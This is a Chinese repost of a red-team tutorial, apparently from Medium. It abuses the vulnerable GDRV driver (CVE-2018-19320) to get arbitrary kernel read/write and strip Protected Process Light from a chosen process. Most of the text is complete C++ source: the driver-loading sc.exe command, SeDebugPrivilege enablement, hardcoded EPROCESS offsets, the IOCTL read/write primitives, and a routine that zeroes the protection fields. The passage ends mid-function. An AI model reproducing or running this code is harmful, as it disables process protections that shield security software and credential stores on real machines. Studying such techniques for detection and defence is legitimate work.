滥用漏洞驱动(BYOVD)实现任意内核读写并绕过PPL保护

admin 2026-04-28 05:12:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细介绍了通过滥用存在漏洞的驱动程序(BYOVD)技术实现任意内核读写并绕过WindowsPPL保护的方法。核心步骤包括加载易受攻击的GDRV驱动、启用SeDebugPrivilege权限、解析内核信息、定位目标进程EPROCESS结构以及修改保护字段。文章提供了完整的C++代码实现,展示了如何利用CVE-2018-19320漏洞禁用进程保护机制,最终实现对受保护进程的完全访问控制。 综合评分: 73 文章分类: 漏洞分析,红队,内网渗透,二进制安全,恶意软件


cover_image

滥用漏洞驱动 (BYOVD) 实现任意内核读写并绕过 PPL 保护

S12 S12

securitainment

2026年3月21日 22:42 中国香港

在小说阅读器读本章

去阅读

| 原文链接 | 作者 | | — | — | | https://medium.com/@s12deff/abusing-a-vulnerable-driver-byovd-to-gain-arbitrary-kernel-r-w-and-bypass-ppl-protection-571552c7efc8 | S12 |

欢迎阅读这篇 Medium 文章。本文将介绍一种攻击性安全领域中的强大技术——通过滥用存在漏洞的驱动程序来绕过 Protected Process Light (PPL) 保护机制。

该技术的核心思路非常简单:我们不直接利用内核漏洞,而是向系统加载一个合法但存在漏洞的驱动程序。该驱动程序为我们提供了在内核空间进行内存读写的能力。

有了这些任意内核读/写原语之后,我们就可以修改操作系统中的关键结构。在本文中,我们将利用它们来禁用目标进程的 PPL 保护,从而能够与这些进程自由交互。

以下是一系列关于 PPL 保护的讨论与实践文章:

Windows PPL Evasion – Medium List

方法论

在查看完整代码之前,我们先梳理整体逻辑。这有助于在动手实现之前理解整个 流程

要通过具备任意内核读/写能力的 BYOVD 实现 PPL 绕过,需要依次完成以下步骤:

步骤 1:加载存在漏洞的驱动程序

首先,我们需要在系统中加载并启动存在漏洞的驱动程序。这是整个技术的核心,因为它通过暴露的 IOCTL 或不安全的功能为我们提供了对内核内存的访问能力。

步骤 2:启用所需权限

驱动程序加载完成后,我们需要为当前进程启用 SeDebugPrivilege。这一步非常重要,因为它允许我们无限制地与受保护的系统进程进行交互。

步骤 3:解析内核信息

接下来,我们需要收集关键的内核信息,包括:

  • 获取 ntoskrnl.exe的基地址
  • 识别重要的结构偏移量 (通常针对目标操作系统版本进行硬编码)

这一步至关重要,因为我们需要精确的内存位置才能安全地执行内核读/写操作。

步骤 4:定位目标进程 (EPROCESS)

获得内核基地址和偏移量之后,我们需要定位目标进程的 EPROCESS结构。这很重要,因为 PPL 保护正是通过该结构中的字段来实施的。

步骤 5:修改保护 (禁用 PPL)

借助任意内核读/写能力和目标进程的 EPROCESS,我们可以直接修改保护相关的字段。将这些值清零后,即可有效禁用目标进程的 PPL 保护,实现完全访问。

最终状态

至此,目标进程不再受 PPL 保护,我们可以自由地与其交互 (例如打开句柄、读写内存、注入代码等)。

Userland Process
        │
        ▼
Load Vulnerable Driver (BYOVD)
        │
        ▼
Gain Kernel R/W
        │
        ▼
Locate ntoskrnl + EPROCESS
        │
        ▼
Modify Protection Fields
        │
        ▼
PPL Disabled

实现

现在,让我们看看如何将上述逻辑转化为 C++ 代码。以下是最关键部分的分解说明。

加载存在漏洞的驱动程序

本文使用的是与前一篇文章中相同的易受攻击的驱动程序——名为 GDRV的驱动,该驱动存在 CVE-2018-19320漏洞。

可以直接从 LolDrivers网站下载该驱动程序,链接如下:

gdrv.sys – LolDrivers

要加载此驱动程序,你需要禁用 Windows Memory Integrity和 Microsoft Vulnerable Driver Blocklist,这两项均属于 Kernel Isolation安全功能的一部分 (或者使用一个未被列入黑名单的驱动程序)。

加载驱动程序时,你可以使用 C++ 代码,也可以仅用于测试目的,在管理员权限的 CMD 中运行以下命令:

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys

启用所需权限

用于获取 SeDebugPrivilege的代码是以下这个经典实现,因此你需要 管理员权限才能运行该程序:

BOOL EnableSeDebugPrivilege(){
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
 {
&nbsp; std::cerr <<&nbsp;"OpenProcessToken failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
returnFALSE;
&nbsp;}
if&nbsp;(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
&nbsp;{
&nbsp; std::cerr <<&nbsp;"LookupPrivilegeValue failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
CloseHandle(hToken);
returnFALSE;
&nbsp;}
&nbsp;tp.PrivilegeCount&nbsp;=&nbsp;1;
&nbsp;tp.Privileges[0].Luid&nbsp;= luid;
&nbsp;tp.Privileges[0].Attributes&nbsp;= SE_PRIVILEGE_ENABLED;
if&nbsp;(!AdjustTokenPrivileges(hToken,&nbsp;FALSE, &tp,&nbsp;sizeof(TOKEN_PRIVILEGES),&nbsp;NULL,&nbsp;NULL))
&nbsp;{
&nbsp; std::cerr <<&nbsp;"AdjustTokenPrivileges failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
CloseHandle(hToken);
returnFALSE;
&nbsp;}
CloseHandle(hToken);
returnTRUE;
}

解析内核信息

接下来我们需要解析两项不同的信息:

  1. 内核偏移量
  2. ntoskrnl.exe 基地址

先从 内核偏移量开始:

在我们的案例中直接使用了硬编码的值。在实际生产环境中,你需要通过在线符号引用来动态解析这些信息,或者在项目中为所有 Windows 版本硬编码所需的偏移量。

在我的环境中,硬编码的偏移量如下:

structoffsets&nbsp;{
&nbsp;ULONG64 ActiveProcessLinks;
&nbsp;ULONG64 UniqueProcessId;
&nbsp;ULONG64 Protection;
&nbsp;ULONG64 PsLoadedModuleList;
&nbsp;ULONG64 PsInitialSystemProcess;
} g_offsets = {
0x1d8,&nbsp;// ActiveProcessLinks (Inspect the dt nt!_EPROCESS)
0x1d0,&nbsp;// UniqueProcessId (Inspect the dt nt!_EPROCESS)
0x5fa,&nbsp;// Protection (Inspect the dt nt!_EPROCESS)
0xEF50C0,&nbsp;// PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt)
0xFC5ab0// PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)
};

在前一篇文章中有关于如何从 EPROCESS获取偏移量的更多信息。

现在,让我们来 获取 ntoskrnl.exe 的基地址:

为此,我们只需要列出所有已加载的驱动程序,找到 ntoskrnl.exe并获取其基地址:

列出驱动程序:

std::vector<KernelDriver>&nbsp;GetSortedKernelDrivers() {
&nbsp;std::vector<KernelDriver> driverList;

auto&nbsp;NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"),&nbsp;"NtQuerySystemInformation");

if&nbsp;(!NtQuerySystemInformation)&nbsp;return&nbsp;driverList;

&nbsp;ULONG len =&nbsp;0;
constint&nbsp;SystemModuleInformation =&nbsp;11;

NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,&nbsp;NULL,&nbsp;0, &len);

&nbsp;std::vector<BYTE>&nbsp;buffer(len);
&nbsp;NTSTATUS status =&nbsp;NtQuerySystemInformation(
&nbsp; (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
&nbsp; buffer.data(),
&nbsp; len,
&nbsp; &len
&nbsp;);

if&nbsp;(status !=&nbsp;0)&nbsp;return&nbsp;driverList;&nbsp;// STATUS_SUCCESS = 0

auto&nbsp;mods =&nbsp;reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

for&nbsp;(ULONG i =&nbsp;0; i < mods->Count; i++) {
&nbsp; SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

&nbsp; KernelDriver drv;
&nbsp; drv.BaseAddress&nbsp;=&nbsp;reinterpret_cast<uintptr_t>(entry.ImageBase);
&nbsp; drv.Size&nbsp;= entry.ImageSize;

constchar* nameStart =&nbsp;reinterpret_cast<constchar*>(entry.FullPathName) + entry.OffsetToFileName;
&nbsp; drv.Name&nbsp;=&nbsp;std::string(nameStart);

&nbsp; driverList.push_back(drv);
&nbsp;}

std::sort(driverList.begin(), driverList.end(), [](const&nbsp;KernelDriver& a,&nbsp;const&nbsp;KernelDriver& b) {
return&nbsp;a.BaseAddress&nbsp;< b.BaseAddress;
&nbsp; });

return&nbsp;driverList;
}

该函数使用 NtQuerySystemInformation获取所有已加载内核驱动程序的列表,将它们的基地址、大小和名称提取到一个 vector 中。最后按基地址排序,这对于定位 ntoskrnl.exe模块非常有用。

然后我们只需将驱动程序列表传入以下函数:

DWORD64&nbsp;GetNtoskrnlBase(const&nbsp;std::vector<KernelDriver>& drivers) {
if&nbsp;(drivers.empty()) {
return0;
&nbsp;}

for&nbsp;(constauto& drv : drivers) {
&nbsp; std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

if&nbsp;(nameLower.find("ntoskrnl.exe") != std::string::npos ||
&nbsp; &nbsp;nameLower.find("ntkrnl") != std::string::npos) {
return&nbsp;(DWORD64)drv.BaseAddress;
&nbsp; }
&nbsp;}

return0;
}

该函数遍历驱动程序列表,查找 ntoskrnl.exe(或 ntkrnl),找到后返回其基地址。

定位目标进程 (EPROCESS)

然后我们调用 getEPROCESS 函数,传入 易受攻击驱动程序的句柄、ntoskrnl.exe的 基地址以及 目标进程 ID

DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);

在该函数内部,我们执行以下步骤:

  1. 通过 PsInitialSystemProcess获取 System 进程 (PID 4) 的 EPROCESS结构
  2. 利用 ActiveProcessLinks字段访问进程链表
  3. 通过 Flink (前向链接)遍历链表,逐个移动到下一个 EPROCESS
  4. 重复此过程直到找到目标 PID

该函数之所以有效,是因为 Windows 中所有 EPROCESS结构都通过 ActiveProcessLinks字段以双向链表的形式连接在一起。我们从 System 进程 (PID 4)开始遍历,因为它始终可以通过 PsInitialSystemProcess访问。沿着 Flink (前向链接)指针,我们可以从一个进程移动到下一个进程。

DWORD64&nbsp;getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if&nbsp;(ntoskrnlBase ==&nbsp;0)
&nbsp;{
&nbsp; std::cerr <<&nbsp;"Failed to find ntoskrnl.exe base address."&nbsp;<< std::endl;
return0;
&nbsp;}

&nbsp;DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; &nbsp;// Get EPROCESS of the System process (PID 4)
&nbsp;cout <<&nbsp;"PsInitialSystemProcess address "&nbsp;<< initialSystemProcess << endl;

getchar();
// Open Driver

getchar();
// Read Primitive to get EPROCESS structure from System Process
&nbsp;DWORD64 systemEPROCESS =&nbsp;0;
&nbsp;BOOL readResult =&nbsp;ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess,&nbsp;sizeof(DWORD64));
&nbsp;cout <<&nbsp;"System EPROCESS: "&nbsp;<< systemEPROCESS << endl;

// Make sure that the EPROCESS is not from the PID 4 (System)
&nbsp;DWORD systemPid =&nbsp;0;
&nbsp;BOOL readPIDSystemResult =&nbsp;ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
&nbsp;cout <<&nbsp;"System PID: "&nbsp;<< systemPid << endl;
if&nbsp;(systemPid == pid) {
return&nbsp;systemEPROCESS;&nbsp;// If the target process is SYSTEM (PID 4) we already have it
&nbsp;}

// Walk through the whole list
&nbsp;DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
&nbsp;cout <<&nbsp;"headList address :"&nbsp;<< headList << endl;

// Get first process
&nbsp;DWORD64 firstProcess =&nbsp;0;
&nbsp;BOOL readFirstResult =&nbsp;ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList,&nbsp;sizeof(DWORD64));
if&nbsp;(!readFirstResult) {
&nbsp; cout <<&nbsp;"Failed getting first process"&nbsp;<< endl;
&nbsp;}
&nbsp;cout <<&nbsp;"First Flink: "&nbsp;<< firstProcess << endl;

&nbsp;DWORD64 currentProcess = firstProcess;
int&nbsp;counter =&nbsp;0;
getchar();
&nbsp;cout <<&nbsp;"Starting while "&nbsp;<< endl;
while&nbsp;(currentProcess != headList && counter <&nbsp;5000) {
&nbsp; counter++;

&nbsp; DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
&nbsp; cout <<&nbsp;"Checking EPROCESS "&nbsp;<< eprocess << endl;

// Read PID
&nbsp; DWORD currentPid =&nbsp;0;
&nbsp; BOOL readPIDResult =&nbsp;ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
if&nbsp;(!readPIDResult) {
&nbsp; &nbsp;cout <<&nbsp;"Error getting current PID "&nbsp;<< endl;
&nbsp; }
&nbsp; cout <<&nbsp;"Current PID "&nbsp;<< currentPid << endl;

if&nbsp;(currentPid == pid) {
&nbsp; &nbsp;cout <<&nbsp;"Correct EPROCESS Found "&nbsp;<< endl;
return&nbsp;eprocess;
&nbsp; }

// Read next one
&nbsp; DWORD64 nextProcess =&nbsp;0;
&nbsp; BOOL readNextResult =&nbsp;ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess,&nbsp;sizeof(DWORD64));
if&nbsp;(!readNextResult) {
&nbsp; &nbsp;cout <<&nbsp;"Error getting next result "&nbsp;<< endl;
&nbsp; }

&nbsp; currentProcess = nextProcess;
&nbsp;}

&nbsp;cout <<&nbsp;"PID Not found after checking all processes "&nbsp;<< endl;
return0;
}

修改保护 (禁用 PPL)

当我们获得目标进程的 EPROCESS结构后,就可以使用之前发现的偏移量直接写入 Protection 结构的值:

BOOL&nbsp;disablePPL(HANDLE drv, DWORD64 eprocess) {
// Offsets relative to the Protection field in EPROCESS
// SignatureLevel &nbsp; &nbsp; &nbsp; &nbsp;= Protection - 2
// SectionSignatureLevel = Protection - 1
// Protection &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= Protection

&nbsp;DWORD64 ppl = eprocess + g_offsets.Protection;
&nbsp;BYTE zero =&nbsp;0;

&nbsp;DWORD value =&nbsp;0;
&nbsp;BOOL firstWritePPL =&nbsp;WritePrimitive(drv, (LPVOID)(ppl -&nbsp;2), &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!firstWritePPL) {
&nbsp; cout <<&nbsp;"First error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}

getchar();

&nbsp;BOOL secondWritePPL =&nbsp;WritePrimitive(drv, (LPVOID)(ppl -&nbsp;1), &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!secondWritePPL) {
&nbsp; cout <<&nbsp;"Second error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}

getchar();

// Write Protection
&nbsp;BOOL writePPL =&nbsp;WritePrimitive(drv, (LPVOID)ppl, &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!writePPL) {
&nbsp; cout <<&nbsp;"Error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}
&nbsp;cout <<&nbsp;"Successfully removed PPL"&nbsp;<< endl;
returntrue;
}

在该函数中,我们使用内核写原语直接修改目标进程 EPROCESS结构中与保护相关的字段。通过将 SignatureLevelSectionSignatureLevel和 Protection的值覆写为零,我们有效地移除了 PPL 限制,使该进程不再受到保护 😉

完整代码

以下是完整代码,本例中包含两个文件:

main.cpp

#include<Windows.h>
#include<winternl.h>
#include<vector>
#include<string>
#include<algorithm>
#include<iostream>
#include"DriverOps.h"

usingnamespacestd;

typedefstruct_SYSTEM_MODULE_ENTRY&nbsp;{
&nbsp;HANDLE Section;
&nbsp;PVOID MappedBase;
&nbsp;PVOID ImageBase;
&nbsp;ULONG ImageSize;
&nbsp;ULONG Flags;
&nbsp;USHORT LoadOrderIndex;
&nbsp;USHORT InitOrderIndex;
&nbsp;USHORT LoadCount;
&nbsp;USHORT OffsetToFileName;
&nbsp;UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedefstruct_SYSTEM_MODULE_INFORMATION&nbsp;{
&nbsp;ULONG Count;
&nbsp;SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

structKernelDriver&nbsp;{
&nbsp;std::string Name;
uintptr_t&nbsp;BaseAddress;
uint32_tSize;
};

typedefNTSTATUS(NTAPI* pNtQuerySystemInformation)(
&nbsp;SYSTEM_INFORMATION_CLASS SystemInformationClass,
&nbsp;PVOID SystemInformation,
&nbsp;ULONG SystemInformationLength,
&nbsp;PULONG ReturnLength
&nbsp;);

// 1- Enable SeDebugPrivilege for the current process
// 2- Get offsets (hardcoded)
// 3- List all drivers
// 4- Get ntoskrnl.exe address
// 5- Get EPROCESS of the target process
// 6- Disable PPL

structoffsets&nbsp;{
&nbsp;ULONG64 ActiveProcessLinks;
&nbsp;ULONG64 UniqueProcessId;
&nbsp;ULONG64 Protection;
&nbsp;ULONG64 PsLoadedModuleList;
&nbsp;ULONG64 PsInitialSystemProcess;
} g_offsets = {
0x1d8,&nbsp;// ActiveProcessLinks
0x1d0,&nbsp;// UniqueProcessId
0x5fa,&nbsp;// Protection
0xEF50C0,&nbsp;// PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt)
0xFC5ab0// PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)
};

std::vector<KernelDriver>&nbsp;GetSortedKernelDrivers() {
&nbsp;std::vector<KernelDriver> driverList;

auto&nbsp;NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"),&nbsp;"NtQuerySystemInformation");

if&nbsp;(!NtQuerySystemInformation)&nbsp;return&nbsp;driverList;

&nbsp;ULONG len =&nbsp;0;
constint&nbsp;SystemModuleInformation =&nbsp;11;

NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,&nbsp;NULL,&nbsp;0, &len);

&nbsp;std::vector<BYTE>&nbsp;buffer(len);
&nbsp;NTSTATUS status =&nbsp;NtQuerySystemInformation(
&nbsp; (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
&nbsp; buffer.data(),
&nbsp; len,
&nbsp; &len
&nbsp;);

if&nbsp;(status !=&nbsp;0)&nbsp;return&nbsp;driverList;&nbsp;// STATUS_SUCCESS = 0

auto&nbsp;mods =&nbsp;reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

for&nbsp;(ULONG i =&nbsp;0; i < mods->Count; i++) {
&nbsp; SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

&nbsp; KernelDriver drv;
&nbsp; drv.BaseAddress&nbsp;=&nbsp;reinterpret_cast<uintptr_t>(entry.ImageBase);
&nbsp; drv.Size&nbsp;= entry.ImageSize;

constchar* nameStart =&nbsp;reinterpret_cast<constchar*>(entry.FullPathName) + entry.OffsetToFileName;
&nbsp; drv.Name&nbsp;=&nbsp;std::string(nameStart);

&nbsp; driverList.push_back(drv);
&nbsp;}

std::sort(driverList.begin(), driverList.end(), [](const&nbsp;KernelDriver& a,&nbsp;const&nbsp;KernelDriver& b) {
return&nbsp;a.BaseAddress&nbsp;< b.BaseAddress;
&nbsp; });

return&nbsp;driverList;
}

DWORD64&nbsp;GetNtoskrnlBase(const&nbsp;std::vector<KernelDriver>& drivers) {
if&nbsp;(drivers.empty()) {
return0;
&nbsp;}

for&nbsp;(constauto& drv : drivers) {
&nbsp; std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

if&nbsp;(nameLower.find("ntoskrnl.exe") != std::string::npos ||
&nbsp; &nbsp;nameLower.find("ntkrnl") != std::string::npos) {
return&nbsp;(DWORD64)drv.BaseAddress;
&nbsp; }
&nbsp;}

return0;
}

DWORD64&nbsp;getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if&nbsp;(ntoskrnlBase ==&nbsp;0)
&nbsp;{
&nbsp; std::cerr <<&nbsp;"Failed to find ntoskrnl.exe base address."&nbsp;<< std::endl;
return0;
&nbsp;}

&nbsp;DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; &nbsp;// Get EPROCESS of the System process (PID 4)
&nbsp;cout <<&nbsp;"PsInitialSystemProcess address "&nbsp;<< initialSystemProcess << endl;

getchar();
// Open Driver

getchar();
// Read Primitive to get EPROCESS structure from System Process
&nbsp;DWORD64 systemEPROCESS =&nbsp;0;
&nbsp;BOOL readResult =&nbsp;ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess,&nbsp;sizeof(DWORD64));
&nbsp;cout <<&nbsp;"System EPROCESS: "&nbsp;<< systemEPROCESS << endl;

// Make sure that the EPROCESS is not from the PID 4 (System)
&nbsp;DWORD systemPid =&nbsp;0;
&nbsp;BOOL readPIDSystemResult =&nbsp;ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
&nbsp;cout <<&nbsp;"System PID: "&nbsp;<< systemPid << endl;
if&nbsp;(systemPid == pid) {
return&nbsp;systemEPROCESS;&nbsp;// If the target process is SYSTEM (PID 4) we already have it
&nbsp;}

// Walk through the whole list
&nbsp;DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
&nbsp;cout <<&nbsp;"headList address :"&nbsp;<< headList << endl;

// Get first process
&nbsp;DWORD64 firstProcess =&nbsp;0;
&nbsp;BOOL readFirstResult =&nbsp;ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList,&nbsp;sizeof(DWORD64));
if&nbsp;(!readFirstResult) {
&nbsp; cout <<&nbsp;"Failed getting first process"&nbsp;<< endl;
&nbsp;}
&nbsp;cout <<&nbsp;"First Flink: "&nbsp;<< firstProcess << endl;

&nbsp;DWORD64 currentProcess = firstProcess;
int&nbsp;counter =&nbsp;0;
getchar();
&nbsp;cout <<&nbsp;"Starting while "&nbsp;<< endl;
while&nbsp;(currentProcess != headList && counter <&nbsp;5000) {
&nbsp; counter++;

&nbsp; DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
&nbsp; cout <<&nbsp;"Checking EPROCESS "&nbsp;<< eprocess << endl;

// Read PID
&nbsp; DWORD currentPid =&nbsp;0;
&nbsp; BOOL readPIDResult =&nbsp;ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
if&nbsp;(!readPIDResult) {
&nbsp; &nbsp;cout <<&nbsp;"Error getting current PID "&nbsp;<< endl;
&nbsp; }
&nbsp; cout <<&nbsp;"Current PID "&nbsp;<< currentPid << endl;

if&nbsp;(currentPid == pid) {
&nbsp; &nbsp;cout <<&nbsp;"Correct EPROCESS Found "&nbsp;<< endl;
return&nbsp;eprocess;
&nbsp; }

// Read next one
&nbsp; DWORD64 nextProcess =&nbsp;0;
&nbsp; BOOL readNextResult =&nbsp;ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess,&nbsp;sizeof(DWORD64));
if&nbsp;(!readNextResult) {
&nbsp; &nbsp;cout <<&nbsp;"Error getting next result "&nbsp;<< endl;
&nbsp; }

&nbsp; currentProcess = nextProcess;
&nbsp;}

&nbsp;cout <<&nbsp;"PID Not found after checking all processes "&nbsp;<< endl;
return0;
}

BOOL&nbsp;disablePPL(HANDLE drv, DWORD64 eprocess) {
// Offsets relative to the Protection field in EPROCESS
// SignatureLevel &nbsp; &nbsp; &nbsp; &nbsp;= Protection - 2
// SectionSignatureLevel = Protection - 1
// Protection &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= Protection

&nbsp;DWORD64 ppl = eprocess + g_offsets.Protection;
&nbsp;BYTE zero =&nbsp;0;

&nbsp;DWORD value =&nbsp;0;
&nbsp;BOOL firstWritePPL =&nbsp;WritePrimitive(drv, (LPVOID)(ppl -&nbsp;2), &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!firstWritePPL) {
&nbsp; cout <<&nbsp;"First error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}

getchar();

&nbsp;BOOL secondWritePPL =&nbsp;WritePrimitive(drv, (LPVOID)(ppl -&nbsp;1), &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!secondWritePPL) {
&nbsp; cout <<&nbsp;"Second error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}

getchar();

// Write Protection
&nbsp;BOOL writePPL =&nbsp;WritePrimitive(drv, (LPVOID)ppl, &zero,&nbsp;sizeof(BYTE));
if&nbsp;(!writePPL) {
&nbsp; cout <<&nbsp;"Error writing the PPL "&nbsp;<< endl;
returnfalse;
&nbsp;}
&nbsp;cout <<&nbsp;"Successfully removed PPL"&nbsp;<< endl;
returntrue;
}

BOOL&nbsp;EnableSeDebugPrivilege()
{
&nbsp;HANDLE hToken;
&nbsp;TOKEN_PRIVILEGES tp;
&nbsp;LUID luid;
if&nbsp;(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
&nbsp;{
&nbsp; std::cerr <<&nbsp;"OpenProcessToken failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
returnFALSE;
&nbsp;}
if&nbsp;(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
&nbsp;{
&nbsp; std::cerr <<&nbsp;"LookupPrivilegeValue failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
CloseHandle(hToken);
returnFALSE;
&nbsp;}
&nbsp;tp.PrivilegeCount&nbsp;=&nbsp;1;
&nbsp;tp.Privileges[0].Luid&nbsp;= luid;
&nbsp;tp.Privileges[0].Attributes&nbsp;= SE_PRIVILEGE_ENABLED;
if&nbsp;(!AdjustTokenPrivileges(hToken,&nbsp;FALSE, &tp,&nbsp;sizeof(TOKEN_PRIVILEGES),&nbsp;NULL,&nbsp;NULL))
&nbsp;{
&nbsp; std::cerr <<&nbsp;"AdjustTokenPrivileges failed: "&nbsp;<<&nbsp;GetLastError() << std::endl;
CloseHandle(hToken);
returnFALSE;
&nbsp;}
CloseHandle(hToken);
returnTRUE;
}

intmain(int&nbsp;argc,&nbsp;char* argv[])
{
&nbsp;DWORD pid =&nbsp;0;
if(argc >&nbsp;1)
&nbsp;{
&nbsp; pid =&nbsp;atoi(argv[1]);
&nbsp;}
else
&nbsp;{
&nbsp; std::cout <<&nbsp;"Usage: PPLDisableFromRWKernel.exe <PID>"&nbsp;<< std::endl;
return1;
&nbsp;}

// 1. Enable SeDebugPrivilege for the current process
&nbsp;BOOL setPriv =&nbsp;EnableSeDebugPrivilege();

// 2. Get offsets (hardcoded)

// 3. List all drivers
&nbsp;vector<KernelDriver> drivers =&nbsp;GetSortedKernelDrivers();

// 4. Get ntoskrnl.exe address
&nbsp;DWORD64 ntoskrnlBase =&nbsp;GetNtoskrnlBase(drivers);
&nbsp;cout <<&nbsp;"NTOSKRNL Base address "&nbsp;<< ntoskrnlBase << endl;
getchar();

&nbsp;HANDLE drv =&nbsp;openVulnDriver();

// 5. Get EPROCESS of the target process
&nbsp;DWORD64 eprocess =&nbsp;getEPROCESS(drv, ntoskrnlBase, pid);
&nbsp;cout <<&nbsp;"EPROCESS "&nbsp;<< eprocess << endl;
getchar();

if&nbsp;(eprocess) {
// 6- Disable PPL
&nbsp; BOOL finalDisable =&nbsp;disablePPL(drv, eprocess);
if&nbsp;(finalDisable) {
&nbsp; &nbsp;cout <<&nbsp;"[!] PPL Protection removed !"&nbsp;<< endl;
return0;
&nbsp; }
&nbsp;}
return0;
}

DriverOps.h (来自前一篇文章)

#include<iostream>
#include<Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#defineIOCTL_READWRITE_PRIMITIVE0xC3502808

usingnamespacestd;

typedefstructKernelWritePrimitive&nbsp;{
&nbsp;LPVOID dst;
&nbsp;LPVOID src;
&nbsp;DWORD size;
} KernelWritePrimitive;

typedefstructKernelReadPrimitive&nbsp;{
&nbsp;LPVOID dst;
&nbsp;LPVOID src;
&nbsp;DWORD size;
} KernelReadPrimitive;

BOOL&nbsp;WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
&nbsp;KernelWritePrimitive kwp;
&nbsp;kwp.dst&nbsp;= dst;
&nbsp;kwp.src&nbsp;= src;
&nbsp;kwp.size&nbsp;= size;

&nbsp;BYTE bufferReturned[48] = {&nbsp;0&nbsp;};
&nbsp;DWORD returned =&nbsp;0;
&nbsp;BOOL result =&nbsp;DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp,&nbsp;sizeof(kwp), (LPVOID)bufferReturned,&nbsp;sizeof(bufferReturned), &returned,&nbsp;nullptr);
if&nbsp;(!result) {
&nbsp; cout <<&nbsp;"Failed to send write primitive. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
returnFALSE;
&nbsp;}
&nbsp;cout <<&nbsp;"Write primitive sent successfully. Bytes returned: "&nbsp;<< returned << endl;
returnTRUE;
}

BOOL&nbsp;ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
&nbsp;KernelReadPrimitive krp;
&nbsp;krp.dst&nbsp;= dst;
&nbsp;krp.src&nbsp;= src;
&nbsp;krp.size&nbsp;= size;

&nbsp;DWORD returned =&nbsp;0;

